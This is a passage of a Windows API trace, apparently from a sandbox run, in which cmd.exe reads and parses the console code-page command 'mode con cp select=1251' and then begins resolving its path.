nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f8d8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14f8d8*=0x26, lpOverlapped=0x0) returned 1 [0067.491] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.491] GetFileType (hFile=0xe8) returned 0x3 [0067.491] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.491] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.491] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0067.493] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.493] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.493] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0067.493] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.493] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.494] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0067.494] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.494] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.494] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0067.494] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.494] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.494] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0067.495] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.495] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.495] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0067.495] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.495] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.495] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0067.495] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.495] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.496] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0067.496] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.496] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.496] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0067.496] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.496] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.496] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0067.497] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.497] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.497] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0067.497] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.497] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.497] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0067.497] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.497] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.498] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0067.498] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.498] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.498] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0067.498] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.498] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.498] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0067.498] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.498] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.499] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0067.499] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.499] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.499] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0067.499] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.499] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.499] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0067.499] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.500] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.500] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.500] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0067.500] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.500] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.500] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.500] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0067.500] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.500] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.501] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0067.501] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.501] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.501] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0067.501] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.501] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.501] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0067.502] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.502] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.502] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0067.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0067.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.503] GetFileType (hFile=0xe8) returned 0x3 [0067.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.503] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.503] GetFileType (hFile=0xf4) returned 0x3 [0067.504] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0067.504] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x14fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fbb8*=0x18, lpOverlapped=0x0) returned 1 [0067.504] GetProcessHeap () returned 0x240000 [0067.504] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25cd20 [0067.504] GetProcessHeap () returned 0x240000 [0067.504] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0067.505] _wcsicmp (_String1="mode", _String2=")") returned 68 [0067.505] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0067.505] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0067.505] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0067.505] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0067.505] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0067.505] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0067.505] GetProcessHeap () returned 0x240000 [0067.505] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0067.505] GetProcessHeap () returned 0x240000 [0067.505] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x254610 [0067.507] GetProcessHeap () returned 0x240000 [0067.507] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0067.508] GetConsoleOutputCP () returned 0x1b5 [0067.509] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aacbfe0 | out: lpCPInfo=0x4aacbfe0) returned 1 [0067.509] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.509] GetConsoleTitleW (in: lpConsoleTitle=0x14fb70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.510] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0067.510] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0067.510] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0067.510] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0067.510] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0067.510] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0067.510] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0067.510] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0067.510] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0067.510] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0067.510] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0067.510] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0067.510] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0067.510] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0067.510] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0067.510] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0067.510] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0067.510] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0067.510] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0067.511] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0067.511] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0067.511] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0067.511] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0067.511] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0067.511] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0067.511] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0067.511] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0067.511] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0067.511] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0067.511] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0067.511] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0067.511] _wcsicmp (_String1="mode", _String2="START") returned -6 [0067.511] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0067.511] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0067.511] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0067.511] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0067.511] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0067.511] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0067.512] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0067.512] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0067.512] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0067.512] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0067.512] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0067.512] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0067.512] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0067.512] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0067.512] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0067.512] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0067.512] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0067.512] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0067.512] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0067.512] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0067.512] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0067.512] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0067.512] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0067.513] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0067.513] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0067.513] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0067.513] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0067.513] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0067.513] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0067.513] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0067.513] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0067.513] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0067.513] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0067.513] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0067.513] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0067.513] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0067.513] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0067.513] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0067.513] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0067.513] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0067.514] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0067.514] _wcsicmp (_String1="mode", _String2="START") returned -6 [0067.514] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0067.514] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0067.514] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0067.514] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0067.514] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0067.514] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0067.514] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0067.514] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0067.514] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0067.514] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0067.514] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0067.514] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0067.514] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0067.515] GetProcessHeap () returned 0x240000 [0067.515] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0067.515] GetProcessHeap () returned 0x240000 [0067.515] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x42) returned 0x2598a0 [0067.515] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0067.516] GetProcessHeap () returned 0x240000 [0067.516] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x259a80 [0067.516] SetErrorMode (uMode=0x0) returned 0x0 [0067.516] SetErrorMode (uMode=0x1) returned 0x0 [0067.516] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x259a90, lpFilePart=0x14f400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f400*="Desktop") returned 0x25 [0067.516] SetErrorMode (uMode=0x0) returned 0x1 [0067.517] GetProcessHeap () returned 0x240000 [0067.517] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259a80, Size=0x66) returned 0x259a80 [0067.518] GetProcessHeap () returned 0x240000 [0067.518] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259a80) returned 0x66 [0067.518] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.518] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.518] GetProcessHeap () returned 0x240000 [0067.518] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x241cd0 [0067.518] GetProcessHeap () returned 0x240000 [0067.518] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 